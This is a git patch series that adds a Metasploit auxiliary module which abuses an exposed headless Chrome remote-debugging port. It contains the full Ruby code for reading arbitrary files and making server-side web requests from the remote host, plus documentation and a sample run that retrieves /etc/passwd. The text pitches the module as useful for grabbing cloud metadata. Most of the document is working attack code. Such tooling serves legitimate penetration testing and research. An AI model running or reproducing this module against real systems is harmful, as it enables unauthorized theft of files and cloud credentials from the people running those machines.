From f77497883bbe1f2ab939cf3f9d6009aa9f498291 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Wed, 25 Sep 2019 15:58:34 -0500 Subject: [PATCH 1/9] Adding Chrome Debugger Gather Auxiliary Module This module can retrieve a file from a remote host that is running a chrome session in headless mode on all network interfaces. It can also make a web request from the remote host and send back the full contents. --- .../auxiliary/gather/chrome_debugger.md | 46 +++++++ metasploit-framework.gemspec | 4 + modules/auxiliary/gather/chrome_debugger.rb | 113 ++++++++++++++++++ 3 files changed, 163 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/chrome_debugger.md create mode 100644 modules/auxiliary/gather/chrome_debugger.rb diff --git a/documentation/modules/auxiliary/gather/chrome_debugger.md b/documentation/modules/auxiliary/gather/chrome_debugger.md new file mode 100644 index 0000000000..d955304efa --- /dev/null +++ b/documentation/modules/auxiliary/gather/chrome_debugger.md @@ -0,0 +1,46 @@ +# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module + +This module takes advantage of misconfigured headless chrome sessions and either retrieves a specifiedfile off the remote file system, or makes a web request from the remote machine. + +## Headless Chrome Sessions + +A vulnerable Headless Chrome session can be started with the following command: + +``` +$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0 +``` + +This will start a webserver running on port 9222 for all network interfaces. + +## Verification Steps + +1. Start `msfconsole` +2. Execute `auxiliary/gather/chrome_debugger` +3. Execute `set RHOST $REMOTE_ADDRESS` +4. Execute `set RPORT 9222` +5. Execute either `set FilePath $FILE_PATH_ON_REMOTE` or `set Url $URL_FROM_REMOTE` +6. Execute `run` + +## Options + +* FilePath - The file path on the remote you wish to retrieve +* Url - A URL you wish to fetch the contents of from the remote machine + +**Note:** One or the other must be set! + +## Example Run + +``` +[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC +[*] Opened connection +[*] Attempting to load url file:///etc/passwd +[*] Received Data +[*] Sending request for data +[*] Received Data +[+] Retrieved resource +[*] Auxiliary module execution completed +``` + +## Notes + +This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers. diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 0581d426ee..12f82f20a1 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -203,4 +203,8 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'aws-sdk-s3' spec.add_runtime_dependency 'aws-sdk-ec2' spec.add_runtime_dependency 'aws-sdk-iam' + + # Needed for WebSocket Support + spec.add_runtime_dependency 'faye-websocket' + spec.add_runtime_dependency 'eventmachine' end diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb new file mode 100644 index 0000000000..36d42d08ef --- /dev/null +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -0,0 +1,113 @@ +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', + 'Description' => %q{ + This module uses the Chrome Debugger's API to read + files off the remote file system, or to make web requests + from a remote machine. Useful for cloud metadata endpoints! + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module + 'Nicholas Starke (The King Pig Demon)' # msf module + ], + 'Privileged' => false, + 'Targets' => [ + ], + 'DisclosureDate' => 'Sep 24 2019', + 'DefaultOptions' => { + }, + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(9222), + OptString.new('FilePath', [ false, 'File to fetch from remote machine.']), + OptString.new('Url', [ false, 'Url to fetch from remote machine.']) + + ] + ) + + deregister_options('Proxies') + end + + def run + + res = send_request_cgi({ + 'uri' => '/json', + 'method' => 'GET', + }) + + if datastore['FilePath'].empty? and datastore['Url'].empty? + print_error('Must set FilePath or Url') + return + end + + if res.nil? + print_error('Bad Response') + else + data = JSON.parse(res.body).pop + EM.run { + file_path = datastore['FilePath'] + url = datastore['Url'] + + if file_path + fetch_uri = "file://#{file_path}" + else + fetch_uri = url + end + print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}") + + driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl']) + + driver.on :open do |event| + print_status('Opened connection') + id = rand(1024 * 1024 * 1024) + + EM::Timer.new(1) do + print_status("Attempting to load url #{fetch_uri}") + driver.send({ + 'id' => id, + 'method' => 'Page.navigate', + 'params' => { + 'url': fetch_uri, + } + }.to_json) + end + + EM::Timer.new(3) do + print_status('Sending request for data') + driver.send({ + 'id' => id + 1, + 'method' => 'Runtime.evaluate', + 'params' => { + 'expression' => 'document.documentElement.outerHTML' + } + }.to_json) + end + end + + driver.on :message do |event| + print_status("Received Data") + + data = JSON.parse(event.data) + + if data['result']['result'] + print_good('Retrieved resource') + store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') + end + end + + EM::Timer.new(10) do + EventMachine.stop + end + } + end + end +end + From 90cd20b381953ec3834c0196289e08095018cec0 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Wed, 25 Sep 2019 16:21:27 -0500 Subject: [PATCH 2/9] Minor Formatting Changes I forgot to run msftidy before pushing. This commit address two formatting issues and adds a place holder for CVE, even though I don't think this is a CVE candidate. --- modules/auxiliary/gather/chrome_debugger.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 36d42d08ef..0e9110a3ac 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -6,8 +6,8 @@ class MetasploitModule < Msf::Auxiliary 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', 'Description' => %q{ This module uses the Chrome Debugger's API to read - files off the remote file system, or to make web requests - from a remote machine. Useful for cloud metadata endpoints! + files off the remote file system, or to make web requests + from a remote machine. Useful for cloud metadata endpoints! }, 'License' => MSF_LICENSE, 'Author' => [ @@ -20,6 +20,10 @@ class MetasploitModule < Msf::Auxiliary 'DisclosureDate' => 'Sep 24 2019', 'DefaultOptions' => { }, + 'References' => + [ + ['CVE', 'NONE'] + ], 'DefaultTarget' => 0 )) From 73569fef38a8df5cf42655d72225fc245f40463e Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Wed, 25 Sep 2019 16:52:50 -0500 Subject: [PATCH 3/9] Removing Invalid CVE Identifier CVE Identifier was invalid, I removed that and made a few other minor formatting / procedural changes, including doing the check for the options before sending any network traffic. --- modules/auxiliary/gather/chrome_debugger.rb | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 0e9110a3ac..7609874448 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -20,10 +20,6 @@ class MetasploitModule < Msf::Auxiliary 'DisclosureDate' => 'Sep 24 2019', 'DefaultOptions' => { }, - 'References' => - [ - ['CVE', 'NONE'] - ], 'DefaultTarget' => 0 )) @@ -33,7 +29,6 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(9222), OptString.new('FilePath', [ false, 'File to fetch from remote machine.']), OptString.new('Url', [ false, 'Url to fetch from remote machine.']) - ] ) @@ -42,16 +37,16 @@ class MetasploitModule < Msf::Auxiliary def run - res = send_request_cgi({ - 'uri' => '/json', - 'method' => 'GET', - }) - if datastore['FilePath'].empty? and datastore['Url'].empty? print_error('Must set FilePath or Url') return end + res = send_request_cgi({ + 'uri' => '/json', + 'method' => 'GET', + }) + if res.nil? print_error('Bad Response') else From 986b1dfbd5f33552aa9c5dd7279de06ba3517691 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Sun, 10 Nov 2019 15:43:01 -0600 Subject: [PATCH 4/9] Addressing comments on pull request I have updated this module as per the comments left on the pull request. This includes adding a timeout configuration option and adding a check for the webSocketDebuggerUrl key --- .../modules/auxiliary/gather/chrome_debugger.md | 2 +- modules/auxiliary/gather/chrome_debugger.rb | 10 ++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/documentation/modules/auxiliary/gather/chrome_debugger.md b/documentation/modules/auxiliary/gather/chrome_debugger.md index d955304efa..35838d299f 100644 --- a/documentation/modules/auxiliary/gather/chrome_debugger.md +++ b/documentation/modules/auxiliary/gather/chrome_debugger.md @@ -1,6 +1,6 @@ # Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module -This module takes advantage of misconfigured headless chrome sessions and either retrieves a specifiedfile off the remote file system, or makes a web request from the remote machine. +This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine. ## Headless Chrome Sessions diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 7609874448..0ba97f695c 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -28,7 +28,8 @@ class MetasploitModule < Msf::Auxiliary Opt::RHOST, Opt::RPORT(9222), OptString.new('FilePath', [ false, 'File to fetch from remote machine.']), - OptString.new('Url', [ false, 'Url to fetch from remote machine.']) + OptString.new('Url', [ false, 'Url to fetch from remote machine.']), + OptInt.new('Timeout', [ true, 'Time to wait for response', 10]) ] ) @@ -60,8 +61,13 @@ class MetasploitModule < Msf::Auxiliary else fetch_uri = url end + print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}") + if not data.key?('webSocketDebuggerUrl') + fail_with(Failure::Unknown, "Invalid JSON") + end + driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl']) driver.on :open do |event| @@ -102,7 +108,7 @@ class MetasploitModule < Msf::Auxiliary end end - EM::Timer.new(10) do + EM::Timer.new(datastore['Timeout']) do EventMachine.stop end } From 335aef59da220d34cfa535006b73c109fbe551e7 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Thu, 5 Dec 2019 14:17:30 -0600 Subject: [PATCH 5/9] Adding failing condition This commit adds a failure code if the module does not successfully receive a response from the remote chrome process. --- modules/auxiliary/gather/chrome_debugger.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 0ba97f695c..71729e5bd3 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -74,6 +74,8 @@ class MetasploitModule < Msf::Auxiliary print_status('Opened connection') id = rand(1024 * 1024 * 1024) + succeeded = false + EM::Timer.new(1) do print_status("Attempting to load url #{fetch_uri}") driver.send({ @@ -105,11 +107,13 @@ class MetasploitModule < Msf::Auxiliary if data['result']['result'] print_good('Retrieved resource') store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') + succeeded = true end end EM::Timer.new(datastore['Timeout']) do EventMachine.stop + fail_with(Failure::Unknown, 'Unknown failure occurred') if not succeeeded end } end From 6d523da79033f33bf461f4cce1280f48f437ca64 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Thu, 5 Dec 2019 14:43:46 -0600 Subject: [PATCH 6/9] Fixing require statements and scope Made the 'succeeded' variable global in scope and added two 'require' statements that seemed to be necessary for the module to work properly. --- modules/auxiliary/gather/chrome_debugger.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 71729e5bd3..7700141a53 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -1,6 +1,8 @@ class MetasploitModule < Msf::Auxiliary + require 'eventmachine' + require 'faye/websocket' include Msf::Exploit::Remote::HttpClient - + def initialize(info = {}) super(update_info(info, 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', @@ -74,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary print_status('Opened connection') id = rand(1024 * 1024 * 1024) - succeeded = false + @@succeeded = false EM::Timer.new(1) do print_status("Attempting to load url #{fetch_uri}") @@ -107,13 +109,13 @@ class MetasploitModule < Msf::Auxiliary if data['result']['result'] print_good('Retrieved resource') store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') - succeeded = true + @@succeeded = true end end EM::Timer.new(datastore['Timeout']) do EventMachine.stop - fail_with(Failure::Unknown, 'Unknown failure occurred') if not succeeeded + fail_with(Failure::Unknown, 'Unknown failure occurred') if not @@succeeded end } end From 5d65741bb5411ee327a39533ea3be50c8d05ca69 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Fri, 6 Dec 2019 10:35:43 -0600 Subject: [PATCH 7/9] Changing Global Variables to Instance Variables --- modules/auxiliary/gather/chrome_debugger.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 7700141a53..6871cdaa98 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -2,7 +2,7 @@ class MetasploitModule < Msf::Auxiliary require 'eventmachine' require 'faye/websocket' include Msf::Exploit::Remote::HttpClient - + def initialize(info = {}) super(update_info(info, 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', @@ -76,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary print_status('Opened connection') id = rand(1024 * 1024 * 1024) - @@succeeded = false + @succeeded = false EM::Timer.new(1) do print_status("Attempting to load url #{fetch_uri}") @@ -109,13 +109,13 @@ class MetasploitModule < Msf::Auxiliary if data['result']['result'] print_good('Retrieved resource') store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') - @@succeeded = true + @succeeded = true end end EM::Timer.new(datastore['Timeout']) do EventMachine.stop - fail_with(Failure::Unknown, 'Unknown failure occurred') if not @@succeeded + fail_with(Failure::Unknown, 'Unknown failure occurred') if not @succeeded end } end From 16910f7e028ea08c59b034a370e15df21629b578 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Wed, 11 Dec 2019 07:35:55 -0600 Subject: [PATCH 8/9] Parameter Checks and Success Messaging This commit adds additional parameter checks for nil and adds a little more descriptive success message that includes the path to the loot storage location. --- modules/auxiliary/gather/chrome_debugger.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 6871cdaa98..7759668d8d 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary def run - if datastore['FilePath'].empty? and datastore['Url'].empty? + if (datastore['FilePath'].nil? || datastore['FilePath'].empty?) && (datastore['Url'].nil? || datastore['Url'].empty?) print_error('Must set FilePath or Url') return end @@ -107,8 +107,8 @@ class MetasploitModule < Msf::Auxiliary data = JSON.parse(event.data) if data['result']['result'] - print_good('Retrieved resource') - store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') + loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger') + print_good("Stored #{fetch_uri} at #{loot_path}") @succeeded = true end end From db05b11fae3ab5bc14a15b4bef0bb72e4391dc56 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Thu, 12 Dec 2019 09:57:10 -0600 Subject: [PATCH 9/9] Uppercasing Parameters and Dregistering Options This commit uppercases all default parameters and de-registers certain options like SSL and VHOST. --- .../modules/auxiliary/gather/chrome_debugger.md | 6 +++--- modules/auxiliary/gather/chrome_debugger.rb | 16 +++++++++------- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/documentation/modules/auxiliary/gather/chrome_debugger.md b/documentation/modules/auxiliary/gather/chrome_debugger.md index 35838d299f..016a12bd92 100644 --- a/documentation/modules/auxiliary/gather/chrome_debugger.md +++ b/documentation/modules/auxiliary/gather/chrome_debugger.md @@ -18,13 +18,13 @@ This will start a webserver running on port 9222 for all network interfaces. 2. Execute `auxiliary/gather/chrome_debugger` 3. Execute `set RHOST $REMOTE_ADDRESS` 4. Execute `set RPORT 9222` -5. Execute either `set FilePath $FILE_PATH_ON_REMOTE` or `set Url $URL_FROM_REMOTE` +5. Execute either `set FILEPATH $FILE_PATH_ON_REMOTE` or `set URL $URL_FROM_REMOTE` 6. Execute `run` ## Options -* FilePath - The file path on the remote you wish to retrieve -* Url - A URL you wish to fetch the contents of from the remote machine +* FILEPATH - The file path on the remote you wish to retrieve +* URL - A URL you wish to fetch the contents of from the remote machine **Note:** One or the other must be set! diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index 7759668d8d..1508a24e46 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -29,18 +29,20 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RHOST, Opt::RPORT(9222), - OptString.new('FilePath', [ false, 'File to fetch from remote machine.']), - OptString.new('Url', [ false, 'Url to fetch from remote machine.']), - OptInt.new('Timeout', [ true, 'Time to wait for response', 10]) + OptString.new('FILEPATH', [ false, 'File to fetch from remote machine.']), + OptString.new('URL', [ false, 'Url to fetch from remote machine.']), + OptInt.new('TIMEOUT', [ true, 'Time to wait for response', 10]) ] ) deregister_options('Proxies') + deregister_options('VHOST') + deregister_options('SSL') end def run - if (datastore['FilePath'].nil? || datastore['FilePath'].empty?) && (datastore['Url'].nil? || datastore['Url'].empty?) + if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?) print_error('Must set FilePath or Url') return end @@ -55,8 +57,8 @@ class MetasploitModule < Msf::Auxiliary else data = JSON.parse(res.body).pop EM.run { - file_path = datastore['FilePath'] - url = datastore['Url'] + file_path = datastore['FILEPATH'] + url = datastore['URL'] if file_path fetch_uri = "file://#{file_path}" @@ -113,7 +115,7 @@ class MetasploitModule < Msf::Auxiliary end end - EM::Timer.new(datastore['Timeout']) do + EM::Timer.new(datastore['TIMEOUT']) do EventMachine.stop fail_with(Failure::Unknown, 'Unknown failure occurred') if not @succeeded end